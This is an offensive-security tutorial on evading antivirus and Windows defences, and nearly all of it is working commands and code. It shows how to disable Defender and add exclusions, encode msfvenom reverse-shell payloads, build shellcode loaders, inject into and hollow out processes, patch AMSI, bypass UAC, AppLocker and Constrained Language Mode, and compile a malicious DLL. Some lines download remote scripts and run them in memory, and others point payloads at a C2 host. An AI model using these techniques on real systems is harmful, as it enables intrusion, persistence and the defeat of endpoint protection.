Introduction to Antivirus Evasion

# Check if Defender is running and which features are active
Get-MpComputerStatus | Select AMRunningMode, RealTimeProtectionEnabled, `
  AMServiceEnabled, AntispywareEnabled, AntivirusEnabled, IsTamperProtected

# Check definition version
Get-MpComputerStatus | Select AntivirusSignatureVersion, AntivirusSignatureLastUpdated

# Disable Real-Time Protection (temporarily — persists until reboot or re-enabled)
Set-MpPreference -DisableRealtimeMonitoring $true

# Disable all features
Set-MpPreference -DisableRealtimeMonitoring $true `
  -DisableBehaviorMonitoring $true `
  -DisableIOAVProtection $true `
  -DisableIntrusionPreventionSystem $true

# Exclude a path from scanning
Add-MpPreference -ExclusionPath "C:\Windows\Temp"
Add-MpPreference -ExclusionPath "C:\Tools"
Add-MpPreference -ExclusionExtension ".exe"

# Exclude a process
Add-MpPreference -ExclusionProcess "python.exe"
Add-MpPreference -ExclusionProcess "svchost.exe"

# CrackMapExec — disable Defender remotely (if admin)
crackmapexec smb <TARGET_IP> -u admin -p 'Pass123!' \
  -x "powershell Set-MpPreference -DisableRealtimeMonitoring \$true"

# Via Sliver session
[session] sliver > execute -o powershell \
  "Set-MpPreference -DisableRealtimeMonitoring \$true"

# Check existing exclusions (may reveal safe drop paths)
Get-MpPreference | Select ExclusionPath, ExclusionProcess, ExclusionExtension

# Check if Tamper Protection is on (prevents disabling via PowerShell if true)
Get-MpComputerStatus | Select IsTamperProtected

# Check with ThreatCheck (finds exact byte triggering detection)
ThreatCheck.exe -f payload.exe -e Defender

# Identify the specific string that triggers detection
ThreatCheck.exe -f payload.exe -e AMSI

# Online multi-AV scan (use with care — uploads to cloud)
# https://antiscan.me  ← no distribution to AV vendors
# https://nodistribute.com ← similar policy
# AVOID: VirusTotal — shares samples with AV vendors

# Method 1: Garble (Go source obfuscation — used with Sliver)
# Scrambles symbol names, strings, and control flow at compile time
go install mvdan.cc/garble@latest
garble -seed=random build .

# Method 2: Shikata Ga Nai (msfvenom encoder — still partially effective)
msfvenom -p windows/x64/shell_reverse_tcp \
  LHOST=<IP> LPORT=4444 \
  -e x64/xor_dynamic \
  -f exe -o encoded.exe

# Method 3: Multiple encoding passes
msfvenom -p windows/x64/shell_reverse_tcp \
  LHOST=<IP> LPORT=4444 \
  -e x64/xor_dynamic -i 5 \
  -f raw | msfvenom -e x64/xor_dynamic -i 5 \
  -f exe -o multi_encoded.exe

# XOR encrypt shellcode — basic but effective against signature matching
shellcode = b"\xfc\x48\x83..." # raw shellcode bytes
key = 0x41

encrypted = bytes([b ^ key for b in shellcode])

# Loader decrypts at runtime — no plain shellcode on disk
with open("loader.bin", "wb") as f:
    f.write(encrypted)

// C# XOR loader — decrypts and executes in memory
byte[] key = { 0x41 };
byte[] enc = File.ReadAllBytes("shellcode.bin");
byte[] sc = enc.Select((b, i) => (byte)(b ^ key[i % key.Length])).ToArray();

IntPtr mem = VirtualAlloc(IntPtr.Zero, (uint)sc.Length,
    0x3000, 0x40);  // MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE
Marshal.Copy(sc, 0, mem, sc.Length);
CreateThread(IntPtr.Zero, 0, mem, IntPtr.Zero, 0, IntPtr.Zero);

# Split/concatenate strings to break signature detection
$s = "Invoke" + "-" + "Mimikatz"
IEX $s

# Base64 encoding (bypasses basic string scan — not AMSI)
$cmd = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes("Invoke-Mimikatz"))
powershell -EncodedCommand $cmd

# Character code substitution
$s = [char]73+[char]110+[char]118+[char]111+[char]107+[char]101
# = "Invoke"

# Invoke-Obfuscation (automated PowerShell obfuscation)
Import-Module ./Invoke-Obfuscation.psd1
Invoke-Obfuscation
# Inside interactive menu:
# TOKEN → ALL → 1  (token obfuscation)
# ENCODING → 5     (SecureString encoding)

# UPX — compresses binary, changes entropy profile
upx --best payload.exe -o packed.exe

# Note: UPX headers are themselves signatured — use with customization
upx --best --compress-icons=0 --strip-relocs=0 payload.exe

# ScareCrow (advanced loader / PE generation)
ScareCrow -I shellcode.bin -domain microsoft.com -o payload.exe

# Donut — converts .NET assembly → position-independent shellcode
donut -a 2 -f 1 -o shellcode.bin Rubeus.exe

// Check for sandbox artifacts before executing payload
bool isSandbox = false;

// Check username
if (Environment.UserName.ToLower().Contains("sandbox") ||
    Environment.UserName.ToLower().Contains("virus") ||
    Environment.UserName.ToLower() == "user" ||
    Environment.UserName.ToLower() == "test") isSandbox = true;

// Check domain
if (Environment.MachineName.ToLower().Contains("sandbox") ||
    Environment.MachineName.ToLower() == "desktop-") isSandbox = true;

// Check if running in a VM (common sandbox indicator)
var regKey = Registry.LocalMachine.OpenSubKey(
    @"SOFTWARE\VMware, Inc.\VMware Tools");
if (regKey != null) isSandbox = true;

// Check number of CPUs (sandboxes often have 1)
if (Environment.ProcessorCount <= 1) isSandbox = true;

// Check RAM (sandboxes often have < 2GB)
var cs = new ManagementObject("Win32_ComputerSystem.Name='.'");
ulong ram = (ulong)cs["TotalPhysicalMemory"];
if (ram < 2147483648) isSandbox = true;  // < 2GB

// Sleep to bypass time-limited sandboxes
Thread.Sleep(30000);  // 30 second sleep — sandbox may time out

if (!isSandbox) RunPayload();

// EDR injects a DLL and hooks functions in ntdll.dll
// Solution: Re-read a clean ntdll.dll from disk and overwrite the hooked copy

// Perun's Fart / Fresh Copy unhooking
// Key technique used by tools like ScareCrow, Havoc, Sliver (optional)

// Manual ntdll unhooking concept:
// 1. Open a handle to ntdll.dll on disk
// 2. Map it into memory
// 3. Compare .text section to in-memory version
// 4. Replace hooked bytes with clean bytes from disk version

// Tools that implement unhooking:
// - Lunar (C# unhooker)
// - RefleXXion (D/Invoke syscalls)
// - Hell's Gate / Halo's Gate (syscall enumeration)

// Instead of calling VirtualAlloc (which EDR hooks),
// call the underlying NT syscall directly using the syscall number

// NtAllocateVirtualMemory syscall stub (x64)
// syscall numbers differ per Windows version — use dynamic resolution

// Tools using direct syscalls:
// - D/Invoke (DinvokeSharp)
// - SysWhispers3 (generates syscall stubs for any function)
// - Hell's Gate (reads syscall numbers from memory at runtime)

// XOR-encrypt beacon memory while sleeping (so memory scanner can't find it)
// Technique used by Cobalt Strike, Sliver (optionally), Havoc

// Concepts:
// 1. Before sleeping: encrypt implant's own memory region with XOR/AES
// 2. Set memory permissions to non-executable
// 3. Sleep
// 4. On wake: decrypt memory, restore permissions, continue

// Tools implementing sleep obfuscation:
// - Ekko (C-based sleep obfuscation PoC by Cracked5pider)
// - Foliage (APC-based sleep obfuscation)
// - Cronos (ROP-based)

// Step 1: Get a handle to the target process
IntPtr hProcess = OpenProcess(
    PROCESS_ALL_ACCESS, false, targetPid);

// Step 2: Allocate RWX memory in the target process
IntPtr rBuffer = VirtualAllocEx(
    hProcess, IntPtr.Zero, (uint)shellcode.Length,
    MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

// Step 3: Write shellcode into the allocation
WriteProcessMemory(
    hProcess, rBuffer, shellcode, (uint)shellcode.Length, out _);

// Step 4: Create a remote thread to execute the shellcode
IntPtr hThread = CreateRemoteThread(
    hProcess, IntPtr.Zero, 0, rBuffer, IntPtr.Zero, 0, IntPtr.Zero);

# PowerShell-based injection (simple — highly detected today)
$code = [System.IO.File]::ReadAllBytes("C:\shellcode.bin")
$target = Get-Process notepad

$handle = [Runtime.InteropServices.Marshal]::
    GetFunctionPointerForDelegate(...)  # OpenProcess

# Practical tool: Invoke-Shellcode (PowerSploit)
Import-Module PowerSploit\CodeExecution\Invoke-Shellcode.ps1
Invoke-Shellcode -ShellCode $code -ProcessID $target.Id

// 1. Create target process SUSPENDED
CreateProcess(
    "C:\\Windows\\System32\\svchost.exe", null, IntPtr.Zero,
    IntPtr.Zero, false, CREATE_SUSPENDED, IntPtr.Zero, null,
    ref si, out pi);

// 2. Read the PEB to find the base address of the image
// (ZwQueryInformationProcess to get PEB, then read ImageBaseAddress)

// 3. Unmap the original executable
ZwUnmapViewOfSection(pi.hProcess, baseAddress);

// 4. Allocate new memory at the same base address
VirtualAllocEx(pi.hProcess, baseAddress, payloadSize,
    MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

// 5. Write the malicious PE into the allocation
WriteProcessMemory(pi.hProcess, baseAddress, payload, payloadSize, out _);

// 6. Resume the thread — now running your payload
ResumeThread(pi.hThread);

// Write the path of your malicious DLL into target process
// Then call LoadLibrary remotely via CreateRemoteThread

IntPtr hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, targetPid);

// Allocate space for the DLL path
IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero,
    (uint)dllPath.Length, MEM_COMMIT, PAGE_READWRITE);

// Write DLL path
WriteProcessMemory(hProcess, addr, Encoding.Default.GetBytes(dllPath),
    (uint)dllPath.Length, out _);

// Get address of LoadLibraryA in kernel32.dll (same in all processes)
IntPtr loadLib = GetProcAddress(
    GetModuleHandle("kernel32.dll"), "LoadLibraryA");

// Call LoadLibraryA in the target process
CreateRemoteThread(hProcess, IntPtr.Zero, 0, loadLib, addr, 0, IntPtr.Zero);

# Tools implementing reflective DLL injection:
# - ReflectiveDLLInjection (original by Stephen Fewer, GitHub)
# - Invoke-ReflectivePEInjection (PowerSploit)
# - donut (converts any .NET/.exe to reflective shellcode)

# Use donut to convert an exe to position-independent shellcode
donut.exe -a 2 -f 1 -o shellcode.bin -i Rubeus.exe

# Inject shellcode via any injector
# Now Rubeus runs in-memory, no file drop needed

// Create process SUSPENDED
CreateProcess("..\\svchost.exe", ..., CREATE_SUSPENDED, ..., out pi);

// Queue an APC (Asynchronous Procedure Call) into the main thread
// The shellcode will execute when the thread is "alertable"
VirtualAllocEx(pi.hProcess, ...);
WriteProcessMemory(pi.hProcess, ...);
QueueUserAPC(shellcodeAddr, pi.hThread, IntPtr.Zero);

// Resume thread — APC fires before any code runs (Early Bird)
ResumeThread(pi.hThread);

# Classic AMSI patch — patches AmsiScanBuffer to return AMSI_RESULT_CLEAN (0x80070057)
# RAW (will be caught) — use obfuscated version in real ops

$a=[Ref].Assembly.GetTypes()
ForEach($b in $a) {
  if ($b.Name -like "*iUtils") {
    $c=$b
  }
}
$d=$c.GetFields('NonPublic,Static')
ForEach($e in $d) {
  if ($e.Name -like "*Context") {
    $f=$e
  }
}
$g=$f.GetValue($null)
[IntPtr]$ptr=$g
[Int32[]]$buf=@(0)
[System.Runtime.InteropServices.Marshal]::Copy($buf,0,$ptr,1)

# Obfuscated version (split strings + char codes to evade AMSI detecting the bypass)
$w = 'System.Management.Automation.A'
$s = [Ref].Assembly.GetType($w+'msiUtils')
$f = $s.GetField(('amsi'+'Context'),[Reflection.BindingFlags]'NonPublic,Static')
$x = $f.GetValue($null)
[Runtime.InteropServices.Marshal]::WriteInt32($x, 0x41414141)

# Directly patch AmsiScanBuffer in amsi.dll to return 0x80070057 immediately
# This is the most reliable manual technique

$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)  # mov eax, 0x80070057; ret

$LoadLibrary = [System.Runtime.InteropServices.Marshal]::
    GetDelegateForFunctionPointer(...)
$AmsiDll     = [Runtime.InteropServices.Marshal]::
    GetHINSTANCE([AppDomain]::CurrentDomain.GetAssemblies() |
    Where-Object { $_.GlobalAssemblyCache -and $_.Location -match "amsi" })

# Practical: use Matt Graeber's one-liner (obfuscated in real usage)
# [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').
#   GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

# Force AMSI to report initialization failure (simplest technique)
# Highly detected in plain form — always obfuscate

# Concatenate to avoid string detection
$t = [Ref].Assembly.GetType('System.Management.Automation.'+'AmsiUtils')
$f = $t.GetField('amsi'+'InitFailed','NonPublic,Static')
$f.SetValue($null,$true)

# Force PowerShell 2.0 (no AMSI support in PS 2.0)
powershell -Version 2 -Command "IEX(New-Object Net.WebClient).DownloadString('http://<IP>/Invoke-Mimikatz.ps1')"

# Check if PS 2.0 is available
powershell -Version 2 -Command "$PSVersionTable"
# Note: PS 2.0 is not available by default on Windows 10 (needs .NET 2.0)

# AmsiTrigger — scan a PS1 file and highlight the exact triggering bytes
AmsiTrigger.exe -i Invoke-Mimikatz.ps1 -f 3

# ThreatCheck (preferred)
ThreatCheck.exe -f payload.ps1 -e AMSI
# Binary-searches the file to find the smallest triggering chunk

# ThreatCheck — binary search for the exact triggering offset
ThreatCheck.exe -f Rubeus.exe -e Defender

# DefenderCheck (similar)
DefenderCheck.exe Rubeus.exe

# Output will tell you exactly which byte range triggers detection
# You can then modify the source code or obfuscate that specific function

# Clone and compile Rubeus yourself — pre-built releases are signatured
git clone https://github.com/GhostPack/Rubeus
cd Rubeus
# Open in Visual Studio → Release → Build

# Same for SharpHound, Certify, Seatbelt, SharpView
# Freshly compiled binaries have different hashes

# Change the AssemblyInfo.cs to alter metadata
# File: Properties/AssemblyInfo.cs
# Change: AssemblyTitle, AssemblyDescription, AssemblyCompany, AssemblyProduct

# Donut — .exe → position-independent shellcode
donut.exe -a 2 -f 1 -o rubeus.bin -i Rubeus.exe
donut.exe -a 2 -f 1 -o rubeus.bin -i Rubeus.exe -p "kerberoast /nowrap"

# Inject shellcode via any injector
# Rubeus runs in memory of a chosen process — no file on disk

# Sliver execute-assembly — runs .NET binary in a sacrificial process
[session] sliver > execute-assembly Rubeus.exe kerberoast /nowrap

# Cobalt Strike execute-assembly does the same
beacon> execute-assembly Rubeus.exe kerberoast

# PowerShell — load .NET assembly from URL into memory
$data = (New-Object Net.WebClient).DownloadData('http://<IP>/Rubeus.exe')
$asm  = [Reflection.Assembly]::Load($data)
$asm.EntryPoint.Invoke($null, @(,[string[]]@("kerberoast","/nowrap")))

# Check integrity level of current process
whoami /groups | findstr /i "integrity"
# "Medium Mandatory Level" = standard admin token (needs bypass)
# "High Mandatory Level"   = already elevated
# "System Mandatory Level" = SYSTEM

# Get-Process check
[System.Security.Principal.WindowsIdentity]::GetCurrent().Groups |
    Where-Object { $_.Value -like "*-5-32-544" }

:: fodhelper.exe is auto-elevated (runs as High IL without UAC prompt)
:: It reads a registry key under HKCU — which we control

REG ADD HKCU\Software\Classes\ms-settings\Shell\Open\command /d "cmd.exe" /f
REG ADD HKCU\Software\Classes\ms-settings\Shell\Open\command /v "DelegateExecute" /f
fodhelper.exe
:: cmd.exe launches at High Integrity — no UAC prompt

:: Cleanup
REG DELETE HKCU\Software\Classes\ms-settings /f

# PowerShell version — launch your payload at High IL
New-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" `
  -Force -Value "C:\Windows\Temp\beacon.exe"
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" `
  -Name "DelegateExecute" -Value "" -Force
Start-Process "C:\Windows\System32\fodhelper.exe"

# Cleanup
Remove-Item -Path "HKCU:\Software\Classes\ms-settings" -Recurse -Force

:: eventvwr.exe auto-elevated — reads registry key for .msc association
REG ADD HKCU\Software\Classes\mscfile\Shell\Open\command /d "C:\Temp\beacon.exe" /f
eventvwr.exe
REG DELETE HKCU\Software\Classes\mscfile /f

:: SilentCleanup task runs elevated automatically (no prompt)
:: It uses %windir% environment variable
SET windir=cmd /k C:\Temp\beacon.exe
schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
SET windir=C:\Windows  :: cleanup

# CMSTP.exe accepts an INF file — can execute COM scriptlets at High IL
$inf = @"
[version]
Signature=`$chicago`$
AdvancedINF=2.5

[DefaultInstall]
CustomDestination=CustInstDestSectionAllUsers
RunPreSetupCommands=RunPreSetupCommandsSection

[RunPreSetupCommandsSection]
C:\Windows\Temp\beacon.exe
taskkill /IM cmstp.exe /F

[CustInstDestSectionAllUsers]
49000,49001=AllUSer_LDIDSection, 7

[AllUSer_LDIDSection]
"HKLM", "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE", "ProfileInstallPath", "%UnExpand%",""

[Strings]
ServiceName="Backdoor"
ShortSvcName="Backdoor"
"@
$inf | Out-File C:\Windows\Temp\bypass.inf
cmstp.exe /ni /s C:\Windows\Temp\bypass.inf

# SharpBypassUAC — automated UAC bypass tool (.NET)
SharpBypassUAC.exe -b fodhelper -e aQBlAHgAIAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIA...
# -e = base64 encoded command to run at High IL

# Via Sliver execute-assembly
[session] sliver > execute-assembly SharpBypassUAC.exe \
  -b fodhelper -c "C:\Windows\Temp\beacon_high.exe"

# Check if AppLocker is enforced
Get-AppLockerPolicy -Effective | Format-List

# Test if your binary would be blocked
Get-AppLockerPolicy -Effective | Test-AppLockerPolicy -Path C:\Users\user\payload.exe

# Check which rules are in place
Get-AppLockerPolicy -Effective | Select-Object -ExpandProperty RuleCollections

# List enforced rules
(Get-AppLockerPolicy -Effective).RuleCollections |
    ForEach-Object { $_.DisplayName }

# AppLocker often allows anything under C:\Windows\ — find writable subdirs
icacls "C:\Windows\Tasks" | findstr "BUILTIN\Users"
icacls "C:\Windows\Temp"
icacls "C:\Windows\Tracing"
icacls "C:\Windows\System32\spool\drivers\color"
# Common writable paths: Tasks, Temp, Tracing

// Compile as a .NET Class Library (.dll) or .exe
// The magic: Installer class methods run when InstallUtil is called

using System;
using System.ComponentModel;
using System.Configuration.Install;
using System.Runtime.InteropServices;

[System.ComponentModel.RunInstaller(true)]
public class Payload : System.Configuration.Install.Installer
{
    // This method is called with /U flag
    [System.Security.Permissions.SecurityPermission(
        System.Security.Permissions.SecurityAction.Demand)]
    public override void Uninstall(
        System.Collections.IDictionary savedState)
    {
        // Your code here — runs during InstallUtil /U
        System.Diagnostics.Process.Start("cmd.exe",
            "/c C:\\Windows\\Temp\\beacon.exe");
    }
}

:: Find InstallUtil.exe (multiple versions may exist)
dir C:\Windows\Microsoft.NET\* /s /b | findstr InstallUtil.exe

:: Run the payload — /logfile= and /LogToConsole=false suppress output
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe ^
  /logfile= /LogToConsole=false /U payload.exe

:: 32-bit version
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe ^
  /logfile= /LogToConsole=false /U payload.exe

:: Even if payload.exe is blocked by AppLocker, InstallUtil itself is allowed
:: Place payload in C:\Windows\Tasks (writable by users)
copy payload.exe C:\Windows\Tasks\update.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe ^
  /logfile= /LogToConsole=false /U C:\Windows\Tasks\update.exe

:: Basic syntax
rundll32.exe <path_to_dll>,<ExportedFunction> [args]

:: Execute a DLL with an exported function named "Start"
rundll32.exe C:\Windows\Temp\evil.dll,Start

:: Execute via shell32.dll (load arbitrary DLL via Shell extension)
rundll32.exe shell32.dll,Control_RunDLL C:\Windows\Temp\evil.dll

// evil.c — compile as DLL
// gcc -shared -o evil.dll evil.c (MinGW on Linux)
// Or Visual Studio → DLL project

#include <windows.h>

// This function is called by RunDll32
__declspec(dllexport) void Start(
    HWND hwnd, HINSTANCE hinst,
    LPSTR lpszCmdLine, int nCmdShow)
{
    // Your payload
    WinExec("C:\\Windows\\Temp\\beacon.exe", SW_HIDE);
}

// Also runs at DLL load — even without specifying an export
BOOL WINAPI DllMain(HINSTANCE hinstDLL,
                    DWORD     fdwReason,
                    LPVOID    lpReserved)
{
    if (fdwReason == DLL_PROCESS_ATTACH) {
        WinExec("C:\\Windows\\Temp\\beacon.exe", SW_HIDE);
    }
    return TRUE;
}

# Cross-compile DLL on Linux
x86_64-w64-mingw32-gcc -shared -o evil.dll evil.c -lws2_32

# 32-bit
i686-w64-mingw32-gcc -shared -o evil32.dll evil.c

# Create a .lnk shortcut that runs RunDll32 + malicious DLL
$WshShell = New-Object -ComObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("C:\Users\Public\Update.lnk")
$Shortcut.TargetPath = "C:\Windows\System32\rundll32.exe"
$Shortcut.Arguments  = "shell32.dll,Control_RunDLL C:\Users\Public\evil.dll"
$Shortcut.IconLocation = "C:\Windows\System32\shell32.dll,21"
$Shortcut.Save()

# Generate a DLL with msfvenom
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=<C2_IP> LPORT=4444 \
  -f dll -o payload.dll

# Execute via RunDll32
# rundll32.exe payload.dll,DllRegisterServer
# (Note: msfvenom DLL runs from DllMain — any export works)

# Check if CLM is active
$ExecutionContext.SessionState.LanguageMode

# Full           = FullLanguage (unrestricted)
# Constrained    = ConstainedLanguage (CLM active — restricted)
# Restricted     = Even more restricted (no variables, no functions)
# NoLanguage     = Only external commands, no scripting

:: PS 2.0 predates CLM — no enforcement
powershell -Version 2

:: Verify you're in Full Language Mode
$ExecutionContext.SessionState.LanguageMode
:: Should return: FullLanguage

:: Run offensive tools normally
IEX (New-Object Net.WebClient).DownloadString('http://<IP>/PowerView.ps1')

:: If CLM is enforced via the environment variable (not via WDAC/AppLocker policy),
:: simply clear it to disable CLM for your session

SET __PSLockDownPolicy=
powershell
$ExecutionContext.SessionState.LanguageMode
:: Returns: FullLanguage

// Create a new PowerShell runspace in C# — no CLM applies to custom runspaces
using System.Management.Automation;
using System.Management.Automation.Runspaces;

Runspace rs = RunspaceFactory.CreateRunspace();
rs.Open();
PowerShell ps = PowerShell.Create();
ps.Runspace = rs;
ps.AddScript("IEX(New-Object Net.WebClient).DownloadString('http://<IP>/PowerView.ps1')");
ps.Invoke();

# bypass-clm (Caleb Stewart's tool) — compiles this approach into an exe
# Delivers full PowerShell session bypassing CLM

# Download: https://github.com/calebstewart/bypass-clm
# Build:
git clone https://github.com/calebstewart/bypass-clm
cd bypass-clm
dotnet build -c Release

# Run (via InstallUtil to also bypass AppLocker):
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe ^
  /logfile= /LogToConsole=false /U bypass-clm.exe
# Spawns a full language mode PowerShell session

:: CLM checks if the script is in a trusted path like System32
:: If __PSLockdownPolicy is set (not GPO-enforced), scripts with "System32" in path
:: are automatically given Full Language Mode

mkdir "C:\Users\Public\System32"
copy payload.ps1 "C:\Users\Public\System32\payload.ps1"
powershell -ExecutionPolicy Bypass -File "C:\Users\Public\System32\payload.ps1"
:: Runs in FullLanguage mode